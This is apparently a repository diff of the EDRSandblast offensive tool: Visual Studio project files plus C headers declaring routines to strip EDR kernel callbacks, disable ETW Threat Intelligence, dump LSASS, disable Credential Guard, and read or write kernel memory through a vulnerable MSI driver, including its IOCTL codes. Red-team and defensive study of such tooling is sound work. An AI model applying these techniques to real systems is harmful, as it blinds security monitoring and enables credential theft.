<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level4</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level4</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level4</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<AdditionalIncludeDirectories>Includes/</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level4</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>Includes\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="EDRBypass\ETWThreatIntel.c" />
<ClCompile Include="EDRBypass\KernelCallbacks.c" />
<ClCompile Include="EDRSandblast.c" />
<ClCompile Include="LSASSProtectionBypass\CredGuard.c" />
<ClCompile Include="LSASSProtectionBypass\RunAsPPL.c" />
<ClCompile Include="Userland\PEBBrowse.c" />
<ClCompile Include="Userland\PEParser.c" />
<ClCompile Include="Userland\UserlandHooks.c" />
<ClCompile Include="Utils\DriverOps.c" />
<ClCompile Include="Utils\FileVersion.c" />
<ClCompile Include="Utils\KernelMemoryPrimitives.c" />
<ClCompile Include="Utils\KernelPatternSearch.c" />
<ClCompile Include="Utils\LSASSDump.c" />
<ClCompile Include="Utils\NtoskrnlOffsets.c" />
<ClCompile Include="Utils\WdigestOffsets.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="Includes\DriverOps.h" />
<ClInclude Include="EDRSandBlast.h" />
<ClInclude Include="Includes\ETWThreatIntel.h" />
<ClInclude Include="Includes\FileVersion.h" />
<ClInclude Include="Includes\Globals.h" />
<ClInclude Include="Includes\KernelCallbacks.h" />
<ClInclude Include="Includes\KernelMemoryPrimitives.h" />
<ClInclude Include="Includes\KernelPatternSearch.h" />
<ClInclude Include="Includes\LSASSDump.h" />
<ClInclude Include="Includes\NtoskrnlOffsets.h" />
<ClInclude Include="Includes\PEBBrowse.h" />
<ClInclude Include="Includes\PEParser.h" />
<ClInclude Include="Includes\Undoc.h" />
<ClInclude Include="Includes\Undoc_64.h" />
<ClInclude Include="Includes\UserlandHooks.h" />
<ClInclude Include="Includes\WdigestOffsets.h" />
<ClInclude Include="Includes\CredGuard.h" />
<ClInclude Include="Includes\RunAsPPL.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
+123
View File
@@ -0,0 +1,123 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
<Filter Include="Source Files\LSASSProtectionBypass">
<UniqueIdentifier>{54b0d87a-da5b-4c62-99f2-30e8848bbfda}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="EDRSandblast.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="EDRBypass\KernelCallbacks.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="LSASSProtectionBypass\CredGuard.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="LSASSProtectionBypass\RunAsPPL.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\KernelMemoryPrimitives.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\DriverOps.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\LSASSDump.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\FileVersion.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\KernelPatternSearch.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\NtoskrnlOffsets.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\WdigestOffsets.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="EDRBypass\ETWThreatIntel.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Userland\PEBBrowse.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Userland\PEParser.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Userland\UserlandHooks.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="Includes\CredGuard.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\RunAsPPL.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\KernelMemoryPrimitives.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="EDRSandBlast.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\DriverOps.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\LSASSDump.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\FileVersion.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\KernelPatternSearch.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\NtoskrnlOffsets.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\WdigestOffsets.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\KernelCallbacks.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\Globals.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\ETWThreatIntel.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\PEBBrowse.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\PEParser.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\Undoc.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\Undoc_64.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\UserlandHooks.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
+12
View File
@@ -0,0 +1,12 @@
#pragma once
#include <Windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <tlhelp32.h>
#include "Globals.h"
#include "WdigestOffsets.h"
DWORD WINAPI disableCredGuardByPatchingLSASS(void);
+26
View File
@@ -0,0 +1,26 @@
/*
--- Driver install / uninstall functions.
--- Source and credit: https://github.com/gentilkiwi/mimikatz
*/
#pragma once
#include <Windows.h>
#include <aclapi.h>
#include <Tchar.h>
#include <stdio.h>
#include "Globals.h"
#if !defined(PRINT_ERROR_AUTO)
#define PRINT_ERROR_AUTO(func) (_tprintf(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError()))
#endif
#define MAX_UNINSTALL_ATTEMPTS 3
#define OP_SLEEP_TIME 1000
BOOL InstallVulnerableDriver(TCHAR* driverPath);
BOOL UninstallVulnerableDriver();
+29
View File
@@ -0,0 +1,29 @@
/*
--- ETW Threat Intelligence operations.
--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
*/
#pragma once
#include <Windows.h>
#include <Tchar.h>
#include <stdio.h>
#include "Globals.h"
#include "KernelMemoryPrimitives.h"
#include "NtoskrnlOffsets.h"
#define DISABLE_PROVIDER 0x0
#define ENABLE_PROVIDER 0x1
DWORD64 GetEtwThreatIntProvRegHandleAddress();
DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose);
void DisableETWThreatIntelProvider(BOOL verbose);
void EnableETWThreatIntelProvider(BOOL verbose);
BOOL isETWThreatIntelProviderEnabled(BOOL verbose);
+11
View File
@@ -0,0 +1,11 @@
#pragma once
#include <Windows.h>
#include <Tchar.h>
#include <stdio.h>
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename);
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion);
void GetWdigestVersion(TCHAR* wdigestVersion);
+3
View File
@@ -0,0 +1,3 @@
#pragma once
const TCHAR *gVulnDriverServiceName;
+89
View File
@@ -0,0 +1,89 @@
/*
--- Kernel callbacks operations.
--- Inspiration and credit: https://github.com/br-sn/CheekyBlinder
*/
#pragma once
#include <Windows.h>
#include <Tchar.h>
#include <stdio.h>
#include "Globals.h"
#include "DriverOps.h"
#include "KernelMemoryPrimitives.h"
#include "NtoskrnlOffsets.h"
/*
* PspCreateProcessNotifyRoutine / PspCreateThreadNotifyRoutine max: 64 callbacks
* PspLoadImageNotifyRoutine max: 8 callbacks
* Source: https://blog.gentilkiwi.com/retro-ingenierie/windbg-notifications-kernel
*/
#define PSP_MAX_CALLBACKS 0x40
struct KRNL_CALLBACK {
TCHAR const* driver;
DWORD64 callback_addr;
DWORD64 callback_struct;
DWORD64 callback_func;
BOOL removed;
};
struct FOUND_EDR_CALLBACKS {
DWORD64 index;
struct KRNL_CALLBACK EDR_CALLBACKS[256];
};
TCHAR const* EDR_DRIVERS[];
BOOL isDriverEDR(TCHAR* driver);
void RestoreEDRCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
/*
------ Process (PspCreateProcessNotifyRoutine) callbacks.
*/
DWORD64 GetPspCreateProcessNotifyRoutineAddress(void);
void EnumPspCreateProcessNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
void RemoveEDRProcessNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
/*
------ Thread (PspCreateThreadNotifyRoutine) callbacks.
*/
DWORD64 GetPspCreateThreadNotifyRoutineAddress(void);
void EnumPspCreateThreadNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
void RemoveEDRThreadNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
/*
------ Image loading (PspLoadImageNotifyRoutine) callbacks.
*/
DWORD64 GetPspLoadImageNotifyRoutineAddress(void);
void EnumPspLoadImageNotifyRoutine(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
/*
------ All EDR Kernel callbacks enumeration / removal.
*/
void EnumAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
void RemoveAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
@@ -0,0 +1,73 @@
/*
--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
*/
#pragma once
#include <Windows.h>
#include <Psapi.h>
#include <Tchar.h>
#include <stdio.h>
#include "Globals.h"
struct RTCORE64_MSR_READ {
DWORD Register;
DWORD ValueHigh;
DWORD ValueLow;
};
struct RTCORE64_MEMORY_READ {
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[8];
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
struct RTCORE64_MEMORY_WRITE {
BYTE Pad0[8];
DWORD64 Address;
BYTE Pad1[8];
DWORD ReadSize;
DWORD Value;
BYTE Pad3[16];
};
static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address);
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address);
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address);
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address);
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value);
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value);
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value);
/*
--- Kernel exploitation helpers.
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
*/
DWORD64 FindNtoskrnlBaseAddress(void);
TCHAR* FindDriver(DWORD64 address, BOOL verbose);
HANDLE GetDriverHandle();
DWORD64 GetFunctionAddress(LPCSTR function);
@@ -0,0 +1,24 @@
/*
--- ntoskrnl Notify Routines' offsets search functions using patterns.
--- Ultimately not used because too unreliable and too prone to BSoD.
*/
#pragma once
#include <Windows.h>
#include <Tchar.h>
#include <stdio.h>
#include "KernelMemoryPrimitives.h"
DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask);
DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset);
DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void);
DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void);
DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void);
+15
View File
@@ -0,0 +1,15 @@
/*
--- LSASS dump functions.
*/
#pragma once
#include <Windows.h>
#include <Dbghelp.h>
#include <Tchar.h>
#include <stdio.h>
#include <tlhelp32.h>
DWORD WINAPI dumpLSASSProcess(void* data);
+53
View File
@@ -0,0 +1,53 @@
/*
--- ntoskrnl Notify Routines' offsets from CSV functions.
--- Hardcoded patterns, with offsets for 350+ ntoskrnl versions provided in the CSV file.
*/
#pragma once
#include <Windows.h>
#include <Tchar.h>
#include "Globals.h"
#include "FileVersion.h"
enum NtoskrnlOffsetType {
CREATE_PROCESS_ROUTINE = 0,
CREATE_THREAD_ROUTINE = 1,
LOAD_IMAGE_ROUTINE = 2,
PROTECTION_LEVEL = 3,
ETW_THREAT_INT_PROV_REG_HANDLE = 4,
ETW_REG_ENTRY_GUIDENTRY = 5,
ETW_GUID_ENTRY_PROVIDERENABLEINFO = 6,
_SUPPORTED_NTOSKRNL_OFFSETS_END
};
union NtoskrnlOffsets {
// structure version of ntoskrnl.exe's offsets
struct {
// ntoskrnl's PspCreateProcessNotifyRoutine
DWORD64 pspCreateProcessNotifyRoutine;
// ntoskrnl's PspCreateThreadNotifyRoutine
DWORD64 pspCreateThreadNotifyRoutine;
// ntoskrnl's PspLoadImageNotifyRoutine
DWORD64 pspLoadImageNotifyRoutine;
// ntoskrnl EPROCESS's _PS_PROTECTION
DWORD64 ps_protection;
// ntoskrnl ETW Threat Intelligence's EtwThreatIntProvRegHandle
DWORD64 etwThreatIntProvRegHandle;
// ntoskrnl _ETW_REG_ENTRY's GuidEntry
DWORD64 etwRegEntry_GuidEntry;
// ntoskrnl _ETW_GUID_ENTRY's ProviderEnableInfo
DWORD64 etwGuidEntry_ProviderEnableInfo;
} st;
// array version (usefull for code factoring)
DWORD64 ar[_SUPPORTED_NTOSKRNL_OFFSETS_END];
};
union NtoskrnlOffsets ntoskrnlOffsets;
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename);
+14
View File
@@ -0,0 +1,14 @@
#pragma once
#include "Undoc.h"
LDR_DATA_TABLE_ENTRY* getModuleEntryFromAbsoluteAddr(PVOID addr);
LDR_DATA_TABLE_ENTRY* getModuleEntryFromNameW(const WCHAR* name);
LDR_DATA_TABLE_ENTRY* getNextModuleEntryInLoadOrder(LDR_DATA_TABLE_ENTRY* curr);
#if _WIN64
PEB64* getPEB();
TEB64* getTEB();
#else
PEB* getPEB(void);
TEB* getTEB(void);
#endif
+50
View File
@@ -0,0 +1,50 @@
#pragma once
#include <Windows.h>
typedef unsigned __int64 QWORD;
typedef struct _IMAGE_RELOCATION_ENTRY {
WORD Offset : 12;
WORD Type : 4;
} IMAGE_RELOCATION_ENTRY;
typedef struct PE_relocation_t {
DWORD RVA;
WORD Type : 4;
} PE_relocation;
typedef struct PE_pointers {
BOOL isMemoryMapped;
BOOL isInAnotherAddressSpace;
HANDLE hProcess;
PVOID baseAddress;
//headers ptrs
IMAGE_DOS_HEADER* dosHeader;
IMAGE_NT_HEADERS* ntHeader;
IMAGE_OPTIONAL_HEADER* optHeader;
IMAGE_DATA_DIRECTORY* dataDir;
IMAGE_SECTION_HEADER* sectionHeaders;
//export info
IMAGE_EXPORT_DIRECTORY* exportDirectory;
LPDWORD exportedNames;
DWORD exportedNamesLength;
LPDWORD exportedFunctions;
LPWORD exportedOrdinals;
//relocations info
DWORD nbRelocations;
PE_relocation* relocations;
} PE;
PE* PE_create(PVOID imageBase, BOOL isMemoryMapped);
PE* PE_create_from_another_address_space(HANDLE hProcess, PVOID imageBase);
PVOID PE_RVA_to_Addr(PE* pe, DWORD rva);
DWORD PE_Addr_to_RVA(PE* pe, PVOID addr);
IMAGE_SECTION_HEADER* PE_sectionHeader_fromRVA(PE* pe, DWORD rva);
IMAGE_SECTION_HEADER* PE_nextSectionHeader_fromPermissions(PE* pe, IMAGE_SECTION_HEADER* prev, INT8 readable, INT8 writable, INT8 executable);
DWORD PE_functionRVA(PE* pe, LPCSTR functionName);
PVOID PE_functionAddr(PE* pe, LPCSTR functionName);
VOID PE_parseRelocations(PE* pe);
VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress);
PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize);
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize);
+88
View File
@@ -0,0 +1,88 @@
/*
--- Functions to set the current process as a Protected Process (PsProtectedSignerWinTcb-Light).
--- The code to locate the EPROCESS structure is adapted from:
http://blog.rewolf.pl/blog/?p=1683
*/
#pragma once
#include <Windows.h>
#include <Tchar.h>
#include <stdio.h>
#include "Globals.h"
#include "KernelMemoryPrimitives.h"
#include "NtoskrnlOffsets.h"
//extern union NtoskrnlOffsets ntoskrnlOffsets;
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#endif
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
#define PROTECTED_PROCESS_MASK 0x00000800
/*
* Defines the NtQuerySystemInformation function.
* Undocumented function with a signature subject to possible change in futher Windows versions.
*/
#define SystemHandleInformation 0x10
#define SystemHandleInformationBaseSize 0x1000
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
/*
* Source: https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/handle_table_entry.htm
*/
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
/*
* Source: https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/handle.htm
*/
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
/*
* Defines the structures related to the process protection (EPROCESS's Protection attribute).
* Source: https://docs.microsoft.com/en-us/windows/win32/procthread/zwqueryinformationprocess
*/
typedef enum _PS_PROTECTED_TYPE {
PsProtectedTypeNone = 0,
PsProtectedTypeProtectedLight = 1,
PsProtectedTypeProtected = 2
} PS_PROTECTED_TYPE, * PPS_PROTECTED_TYPE;
typedef enum _PS_PROTECTED_SIGNER {
PsProtectedSignerNone = 0,
PsProtectedSignerAuthenticode,
PsProtectedSignerCodeGen,
PsProtectedSignerAntimalware,
PsProtectedSignerLsa,
PsProtectedSignerWindows,
PsProtectedSignerWinTcb,
PsProtectedSignerWinSystem,
PsProtectedSignerApp,
PsProtectedSignerMax
} PS_PROTECTED_SIGNER, * PPS_PROTECTED_SIGNER;
DWORD64 GetSelfEPROCESSAddress(BOOL verbose);
int SetCurrentProcessAsProtected(BOOL verbose);
File diff suppressed because it is too large Load Diff
+244
View File
@@ -0,0 +1,244 @@
#pragma once
#include "Undoc.h"
//
// [TEB/PEB UNDER 64-BIT WINDOWS]
// This file represents the 64-bit PEB and associated data structures for 64-bit Windows
// This PEB is allegedly valid between XP thru [at least] Windows 8
//
// [REFERENCES]
// http://terminus.rewolf.pl/terminus/structures/ntdll/_PEB_x64.html
// http://terminus.rewolf.pl/terminus/structures/ntdll/_TEB64_x86.html
// https://github.com/giampaolo/psutil/commit/babd2b73538fcb6f3931f0ab6d9c100df6f37bcb (RTL_USER_PROCESS_PARAMETERS)
// https://redplait.blogspot.com/2011/09/w8-64bit-teb-peb.html (TEB)
//
// [CHANGELIST]
// 2018-05-02: -now can be compiled alongside windows.h (without changes) or by defining WANT_ALL_WINDOWS_H_DEFINITIONS so this file can be used standalone
// -this file may also be included alongside tebpeb32.h which can be found at http://bytepointer.com/resources/tebpeb32.h
// -64-bit types no longer clash with the 32-bit ones; e.g. UNICODE_STRING64, RTL_USER_PROCESS_PARAMETERS64, PEB64 (same result whether 32 or 64-bit compiler is used)
// -added more QWORD aliases (i.e. HANDLE64 and PTR64) so underlying types are clearer, however most PEB members remain generic QWORD placeholders for now
// -fixed missing semicolon bug in UNICODE_STRING64
// -added prliminary RTL_USER_PROCESS_PARAMETERS64 and TEB64 with offsets
// -included byte offsets for PEB64
//
// 2017-08-25: initial public release
//
//
// base types
//
//always declare 64-bit types
#ifdef _MSC_VER
//Visual C++
typedef unsigned __int64 QWORD;
typedef __int64 INT64;
#else
//GCC
typedef unsigned long long QWORD;
typedef long long INT64;
#endif
typedef QWORD PTR64;
#ifndef __HANDLE64_DEFINED__
typedef QWORD HANDLE64;
#endif
#include <windows.h>
//UNCOMMENT line below if you are not including windows.h
//#define WANT_ALL_WINDOWS_H_DEFINITIONS
#ifdef WANT_ALL_WINDOWS_H_DEFINITIONS
//base types
typedef unsigned char BYTE;
typedef char CHAR;
typedef unsigned short WORD;
typedef short INT16;
typedef unsigned long DWORD;
typedef long INT32;
typedef unsigned __int64 QWORD;
typedef __int64 INT64;
typedef void* HANDLE;
typedef unsigned short WCHAR;
//base structures
union LARGE_INTEGER
{
struct
{
DWORD LowPart;
INT32 HighPart;
} u;
INT64 QuadPart;
};
union ULARGE_INTEGER
{
struct
{
DWORD LowPart;
DWORD HighPart;
} u;
QWORD QuadPart;
};
#endif //#ifdef WANT_ALL_WINDOWS_H_DEFINITIONS
typedef struct UNICODE_STRING64
{
union
{
struct
{
WORD Length;
WORD MaximumLength;
} u;
QWORD dummyalign;
} uOrDummyAlign;
QWORD Buffer;
} UNICODE_STRING64;
typedef struct _CLIENT_ID64
{
QWORD ProcessId;
QWORD ThreadId;
} CLIENT_ID64;
//NOTE: the members of this structure are not yet complete
typedef struct _RTL_USER_PROCESS_PARAMETERS64
{
BYTE Reserved1[16]; //0x00
QWORD Reserved2[5]; //0x10
UNICODE_STRING64 CurrentDirectoryPath; //0x38
HANDLE64 CurrentDirectoryHandle; //0x48
UNICODE_STRING64 DllPath; //0x50
UNICODE_STRING64 ImagePathName; //0x60
UNICODE_STRING64 CommandLine; //0x70
PTR64 Environment; //0x80
} RTL_USER_PROCESS_PARAMETERS64;
//
// PEB64 structure - TODO: comb more through http://terminus.rewolf.pl/terminus/structures/ntdll/_PEB_x64.html and add OS delineations and Windows 10 updates
//
// The structure represented here is a work-in-progress as only members thru offset 0x320 are listed; the actual sizes per OS are:
// 0x0358 XP/WS03
// 0x0368 Vista
// 0x037C Windows 7
// 0x0388 Windows 8
// 0x07A0 Windows 10
//
typedef struct PEB64
{
union
{
struct
{
BYTE InheritedAddressSpace; //0x000
BYTE ReadImageFileExecOptions; //0x001
BYTE BeingDebugged; //0x002
BYTE _SYSTEM_DEPENDENT_01; //0x003
} flags;
QWORD dummyalign;
} dword0;
QWORD Mutant; //0x0008
QWORD ImageBaseAddress; //0x0010
PEB_LDR_DATA* Ldr; //0x0018
PTR64 ProcessParameters; //0x0020 / pointer to RTL_USER_PROCESS_PARAMETERS64
QWORD SubSystemData; //0x0028
QWORD ProcessHeap; //0x0030
QWORD FastPebLock; //0x0038
QWORD _SYSTEM_DEPENDENT_02; //0x0040
QWORD _SYSTEM_DEPENDENT_03; //0x0048
QWORD _SYSTEM_DEPENDENT_04; //0x0050
union
{
QWORD KernelCallbackTable; //0x0058
QWORD UserSharedInfoPtr; //0x0058
}KernelCallbackTableOrUserSharedInfoPtr;
DWORD SystemReserved; //0x0060
DWORD _SYSTEM_DEPENDENT_05; //0x0064
QWORD _SYSTEM_DEPENDENT_06; //0x0068
QWORD TlsExpansionCounter; //0x0070
QWORD TlsBitmap; //0x0078
DWORD TlsBitmapBits[2]; //0x0080
QWORD ReadOnlySharedMemoryBase; //0x0088
QWORD _SYSTEM_DEPENDENT_07; //0x0090
QWORD ReadOnlyStaticServerData; //0x0098
QWORD AnsiCodePageData; //0x00A0
QWORD OemCodePageData; //0x00A8
QWORD UnicodeCaseTableData; //0x00B0
DWORD NumberOfProcessors; //0x00B8
union
{
DWORD NtGlobalFlag; //0x00BC
